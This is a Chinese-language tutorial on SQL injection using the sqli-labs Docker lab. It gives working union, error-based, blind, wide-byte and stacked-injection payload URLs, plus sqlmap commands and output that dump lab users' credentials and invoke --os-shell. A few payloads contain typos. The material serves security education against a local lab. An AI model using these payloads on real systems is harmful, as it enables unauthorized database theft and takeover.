SQL注入原理和 SQLMAP 的使用
一、Docker靶场环境搭建
1.查找镜像
docker search sqli-labs
2.下载到本地
docker pull acgpiano/sqli-labs
3.查看是否下载成功
docker images
4.启动容器
docker run -it -d --name sqli-labs -p 80:80 -p 13306:3306 acgpiano/sqli-labs
5.打开 localhost:80就可以看到了
6.记得修改文件setup-db
SQL 注入漏洞是怎么形成的?
二、SQL 注入攻击流程
1.判断是否存在sql 注入与 sql 注入的类型
判断方法:
1)先看类型,第一种有报错注入的,先用’'来判断,如果报错说明有 sql 注入
http://localhost/Less-1/?id=1'
2)遇到盲注入需要用到逻辑语句,and 语句,例如and 1=1 and 1=2,or 3*2=0 and 000909=000909 --''等
2.通过尝试让 sql 语句报错,来发现 sql 漏洞
判断sql 注入是字符型和数字型,id=1'
,''是为了进行闭合
3.爆列
order by
http://localhost/Less-1/?id=1'order by 4 %23 %23为#
//原程序语句:select * from user where id = '$id' limit 0,1;
//SQL 注入后改变:select * from user where id = '1' order by 4 #' limit 0,1;
http://localhost/Less-1/?id=1'order by 3 %23
不断试探出数据库的列数,以至于爆列
显示位置只有一行,只能把id=1最先展示出来
若 id=-1,因为 id 不存在就会展示id 1,2,3
http://localhost/Less-1/?id = -1'union select 1,2,3 %23;
SQL 注入后改变:select * from user where id = -1' union select 1,2,3 #' limit 0,1;
1)把其中2替换成 database()就能查询数据库名
http://localhost/Less-1/?id = -1'union select 1,database(),3 %23;
4.查表名
group_concat
:可以把查询到的表合并成一行展示,如果不加只能查到第一个表
http://localhost/Less-1/?id = -1'union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
5.查字段
http://localhost/Less-1/?id = -1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'user' %23
6.查数据
http://localhost/Less-1/?id = -1'union select 1, 2, group_concat(username, password) from users --+
常用函数
concat
:将多个字符串连成一个字符串 concat(str1,str2)
;
concat_ws
:和 concat
一样可以把多个字符连成一个字符串,可以一次性指定分隔符 concat_ws(separator,str1,str2)
;
group_concat
:将group by生产的用一个分组中的值连起来,返回一个字符串结果
三、报错注入
通过特殊函数错误使用并使其输出错误结果来获取信息
在遇到报错回显,但是没有数据回显的时候可以利用
ocalhost/Less-5/?id=-1%27union%20select%201,2,3%20%23
常用函数
extractvalue
:对XML 文档进行查询的函数,当参数的格式不正确而产生的错误,会返回参数的信息
extractvalue(XML_docment,XPath_string)
Payload:and extractvalue(1,concat(0x7e,(select user(),0x7e)))
updatexml
:更新 XML 文档的函数,原理和extractvalue
一样
updatexml(XML_docment,XPath_string)
Payload:updatexml(1,concat(0x7e,(select user()),0x7e),1)
前后添加~使其不符合xpath格式从而报错
1.爆数据库名:security
http://localhost/Less-5/?id=-1'and extractvalue(1,concat(0x7e,database(),0x7e))%20--+
http://localhost/Less-5/?id=-1%27%20and%20extractvalue(1,concat(0x7e,database(),0x7e))%20--+
2.爆表名
http://localhost/Less-5/?id=-1'and extractvalue(1,concat(0x7e,(select%20group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+
http://localhost/Less-5/?id=-1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),0x7e))%20--+
3.爆列
http://localhost/Less-5/?id=-1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27user%27),0x7e))%20--+
4.爆数据
http://localhost/Less-5/?id=-1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users),0x7e))%20--+
数据没有显示全部,可以用排除法得到全部数据,not in ("Dumb","Angelina")
http://localhost/Less-5/?id=-1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users%20where%20username%20not%20in%20(%22Dumb%22,%22Angelina%22)),0x7e))%20--+
四、宽字节注入
原理
大多数网站都对 SQL注入做了一些防御方法,比如说 MySQL 会利用函数对用户输入的数据进行过滤,例如:对特殊字符加上反斜杠\
进行转义;数据库设置成 GBK编码,不是html 编码;
利用汉字的 URL 编码有两位;URL例如:'
的编码为%27
,某个汉字的编码是两位数%B7%21
,如果把汉字编码的前一半加上一个字符编码%B7%27
,系统就会把这个误认为成一个汉字,让反斜杠失效,特殊字符可以生效
适用场景:当适用的特殊字符被过滤无效;例如:id = 1’ 里的
'
被无效,不能闭合之前的语句
五、SQLMAP
SQLMAP 是一个开源的渗透工具,可以用来进行自动检测,利用 SQL注入漏洞,获取数据库服务器权限
1、安装
1.利用 github 下载
git clone https://github.com/sqlmapproject/sqlmap.git
2.运行
python3 sqlmap.py
2、使用 sqlmap
1.判断是否存在注入
python3 sqlmap.py -u "http://127.0.0.1:80/Less-5/index.php?id=1"
___
__H__
___ ___[,]_____ ___ ___ {1.7.7#stable}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:32:57 /2023-08-03/
[21:32:57] [INFO] testing connection to the target URL
[21:32:57] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:32:57] [INFO] testing if the target URL content is stable
[21:32:58] [INFO] target URL content is stable
[21:32:58] [INFO] testing if GET parameter 'id' is dynamic
[21:32:58] [INFO] GET parameter 'id' appears to be dynamic
[21:32:58] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') //测试表明 GET 参数“id”可能是可注入的(可能是 DBMS:“MySQL”)
[21:32:58] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks //测试表明 GET 参数“id”可能容易受到跨站脚本 (XSS) 攻击
[21:32:58] [INFO] testing for SQL injection on GET parameter 'id'//测试 GET 参数“id”上的 SQL 注入
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[21:33:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' //测试“AND 基于布尔的盲注 - WHERE 或 HAVING 子句”
[21:33:03] [WARNING] reflective value(s) found and filtering out
[21:33:03] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="are") //GET 参数“id”似乎是“AND 基于布尔的盲注 - WHERE 或 HAVING 子句”可注入(带有 --string="are")
[21:33:03] [INFO] testing 'Generic inline queries'
[21:33:03] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[21:33:03] [INFO] GET parameter 'id' is 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' injectable //GET 参数“id”是“MySQL >= 5.5 AND 基于错误 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句(BIGINT UNSIGNED)”可注入
[21:33:03] [INFO] testing 'MySQL inline queries'
[21:33:03] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[21:33:03] [WARNING] time-based comparison requires larger statistical model, please wait............. (done)
[21:33:03] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[21:33:03] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[21:33:03] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[21:33:03] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[21:33:03] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[21:33:03] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:33:13] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable //GET 参数“id”似乎是“MySQL >= 5.0.12 AND 基于时间的盲注(查询 SLEEP)”可注入
[21:33:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:33:13] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:33:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:33:13] [INFO] target URL appears to have 3 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] y
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[21:33:22] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[21:33:22] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[21:33:24] [INFO] testing 'MySQL UNION query (22) - 1 to 20 columns'
[21:33:24] [INFO] testing 'MySQL UNION query (22) - 21 to 40 columns'
[21:33:24] [INFO] testing 'MySQL UNION query (22) - 41 to 60 columns'
[21:33:24] [INFO] testing 'MySQL UNION query (22) - 61 to 80 columns'
[21:33:24] [INFO] testing 'MySQL UNION query (22) - 81 to 100 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 242 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 5523=5523 AND 'WpmQ'='WpmQ
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71766b7171,(SELECT (ELT(3725=3725,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'XFej'='XFej
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 6389 FROM (SELECT(SLEEP(5)))kcMa) AND 'fsDS'='fsDS
---
[21:33:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[21:33:27] [INFO] fetched data logged to text files under '/Users/caodelong/.local/share/sqlmap/output/127.0.0.1'
[*] ending @ 21:33:27 /2023-08-03/
由以上信息得出:
- GET 参数“id”可能是可注入的(可能是 DBMS:“MySQL”)
- GET 参数“id”可能容易受到跨站脚本 (XSS) 攻击
- GET 参数“id”似乎是“AND 基于布尔的盲注 - WHERE 或 HAVING 子句”可注入(带有 --string=“are”)
- GET 参数“id”是“MySQL >= 5.5 AND 基于错误 - WHERE、HAVING、ORDER BY 或 GROUP BY 子句(BIGINT UNSIGNED)”可注入
- GET 参数“id”似乎是“MySQL >= 5.0.12 AND 基于时间的盲注(查询 SLEEP)”可注入
主要信息:分析漏洞的主要类型,和 payload
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 5523=5523 AND 'WpmQ'='WpmQ
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71766b7171,(SELECT (ELT(3725=3725,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'XFej'='XFej
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 6389 FROM (SELECT(SLEEP(5)))kcMa) AND 'fsDS'='fsDS
2.爆数据库名
sqlmap.py -u “http://example.com” --dbs
python3 sqlmap.py -u "http://127.0.0.1:80/Less-5/index.php?id=1" --dbs
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
3.爆表名
sqlmap.py -u “http://example.com” -D 数据库名 --tables
python3 sqlmap.py -u "http://127.0.0.1:80/Less-5/index.php?id=1" -D security --tables
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+
4.爆列名
sqlmap.py -u “http://example.com” -D 数据库名 -T 表名 --columns
python3 sqlmap.py -u "http://127.0.0.1:80/Less-5/index.php?id=1" -D security -T users --columns
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| password | varchar(20) |
| id | int(3) |
| username | varchar(20) |
+----------+-------------+
5.爆数据
sqlmap.py -u “http://example.com” -D 数据库名 -T 表名 -C指定列 --dump
查看用户列表
python3 sqlmap.py -u "http://127.0.0.1:80/Less-5/index.php?id=1" -D security -T users -C username --dump
Database: security
Table: users
[13 entries]
+----------+
| username |
+----------+
| admin |
| admin1 |
| admin2 |
| admin3 |
| admin4 |
| Angelina |
| batman |
| dhakkan |
| Dumb |
| Dummy |
| secure |
| stupid |
| superman |
+----------+
查看用户密码
python3 sqlmap.py -u "http://127.0.0.1:80/Less-5/index.php?id=1" -D security -T users -C password --dump
Database: security
Table: users
[13 entries]
+------------+
| password |
+------------+
| admin |
| admin1 |
| admin2 |
| admin3 |
| admin4 |
| crappy |
| Dumb |
| dumbo |
| genious |
| I-kill-you |
| mob!le |
| p@ssword |
| stupidity |
+------------+
6.通过获取request包,来发现网站的注入点
1)利用 BP 来获取 request 包
2)把获取的包,存入 sqlmap 文件夹内,并读取该文件,找到网站漏洞
python3 sqlmap.py -r post.txt --risk 3 --level 3
通过自动化扫描得到,该网站,有两个参数可以进行注入分别是passwd (POST)
,uname (POST)
Parameter: passwd (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: uname=12121&passwd=121212") OR NOT 5409=5409#&submit=Submit
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: uname=12121&passwd=121212") AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7178766a71,(SELECT (ELT(8621=8621,1))),0x71766b7871,0x78))s), 8446744073709551610, 8446744073709551610))) AND ("aZEw"="aZEw&submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=12121&passwd=121212") AND (SELECT 3891 FROM (SELECT(SLEEP(5)))EiSJ) AND ("fQNM"="fQNM&submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: uname=12121&passwd=121212") UNION ALL SELECT CONCAT(0x7178766a71,0x656a514c4a6e6a6e6556424b4c536b756562696464514a6263784e59554d4776686a6b4c596e6a6f,0x71766b7871),NULL#&submit=Submit
Parameter: uname (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: uname=12121") OR NOT 7366=7366#&passwd=121212&submit=Submit
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: uname=12121") AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7178766a71,(SELECT (ELT(6343=6343,1))),0x71766b7871,0x78))s), 8446744073709551610, 8446744073709551610))) AND ("mwqM"="mwqM&passwd=121212&submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=12121") AND (SELECT 7104 FROM (SELECT(SLEEP(5)))paBX) AND ("fUMG"="fUMG&passwd=121212&submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: uname=12121") UNION ALL SELECT NULL,CONCAT(0x7178766a71,0x54674b4a636450544e575944664659754d7248746a526c4251675a45626f6a4e596c6e7857796167,0x71766b7871)#&passwd=121212&submit=Submit
3、sqlmap 常用命令
1.--users
:列举出数据库管理系统的用户
python3 sqlmap.py -u "http://127.0.0.1:80/Less-5/index.php?id=1" --users
database management system users [4]:
[*] 'root'@'127.0.0.1'
[*] 'root'@'37639459fdb9'
[*] 'root'@'::1'
[*] 'root'@'localhost'
2.--is-dba
:检测当前用户是否是管理员
python3 sqlmap.py -u "http://127.0.0.1:80/Less-5/index.php?id=1" --is-dba
current user is DBA: True
3.--os-shell
:模拟一个可以任意执行命令的shell
python3 sqlmap.py -u "http://127.0.0.1:80/Less-5/index.php?id=1" --os-shell
需要进入到 apache 根目录,因为用 docker打开暂时实现不出来
4.--os-cmd
5.-current-user
列举当前用户
python3 sqlmap.py -u "http://127.0.0.1:80/Less-5/index.php?id=1" -current-user
current user: 'root@localhost'
六、盲注
看不到返回数据的情况下,通过感觉来判断;例如:输入字符,网站会发生一定的变化,字节数据发生改变
1、布尔盲注( Type: boolean-based blind)
在页面中,如果执行了SQL语句则返回一种页面,如果 SQL 语句执行错误,则执行另一种页面。基于两种页面来判断SQL语句的正确与否,达到获取数据的目的
2、常用盲注的函数
Lenghth()
:返回字符串长度
limit(a,b)
:后缀两个参数的时候,其中a 是指记录开始时的偏移量,b 是从第 a+1条开始
Substr()
:截取字符串
Acsii()
:返回字符串的 acsii 码
left(name,4)
:函数返回name 的左边第二个字符
right(name,2)
:函数返回name 的右边第二个字符
3、盲注判断
当database 长度等于1时,无数据
http://localhost/Less-1/?id=1'and length(database()) =1 --+
http://localhost/Less-1/?id=1%27%20and%20length(database())%20=%201%20%20%20--+
当 database 长度等于8时,有数据,所以判断数据库名长度有8位
http://localhost/Less-1/?id=1'and length(database()) =8 --+
4、布尔盲注流程
1.判断是否存在注入(单引号或双引号判断)
2.获取数据库长度
通过盲注判断,慢慢猜测数据库的长度
3.逐字猜解数据库名
从左到右,一个字一个字猜,正确的话就会返回数据
http://localhost/Less-1/?id=1%27%20and%20left(database(),1)=%27a%27--+
http://localhost/Less-1/?id=1%27%20and%20left(database(),1)=%27s%27--+
4.猜解表名数量
5.猜解某个表长度
6.逐字猜解表名
http://localhost/Less-1/?id=1%27%20and%20left((select table_name from information schema.tables where table_schema=database() limit 1,1),1)<%27s%27--+
7.猜解列名数量
8.猜解某个列长度
9.逐字猜解列名
http://localhost/Less-1/?id=1%27%20and%20left((select column_name from information schema.columns where table_name = 'users' limit 1,1),1)<%27s%27--+
10.判断数据数量
11.猜某条数据的长度
12.逐位猜解数据
http://localhost/Less-1/?id=1%27%20and%20left((select password from users limit 0,1),2)=%27du%27--+
5、时间盲注(time-based blind)
常用函数
sleep()
:将程序挂起一段时间
if(expr1,expr2,expr3)
:判断语句,如果第一个语句正确,就执行第二个语句,如果错误就执行第三个语句
payload:and if ('s'='s', sleep(5),1) --+
判断:正确会延迟五秒,错误不会延迟并输出1
1.爆数据库名
http://localhost/Less-1/?id=1' and if(left(database(),1)='s',sleep(3),1)--+
2.爆表
http://localhost/Less-1/?id=1' and if(left(select table_name from information schema.tables where table_schema=database() limit 1,1,1)='s',sleep(3),1)--+
3.爆列
http://localhost/Less-1/?id=1' and if(left(select column_name from information schema.columns where table_name = 'users' limit 1,1),1)='s',sleep(3),1)--+
4.爆数据
http://localhost/Less-1/?id=1' and if(left((select password from users order by id limit 0,1),1)='s',sleep(3),1)--+
6、利用 SQLMAP 盲注
python3 sqlmap.py -u "http://localhost/Less-9/?id=1%27" -dbs
七、堆叠注入
多条SQL 语句用分号
;
隔开,一起执行,权限比较高,可以执行任何 SQL 语句
用堆叠注入加入新的用户
http://localhost/Less-38/?id=1';insert%20into%20users(id,username,password)%20values%20(70,"HHH","123") --+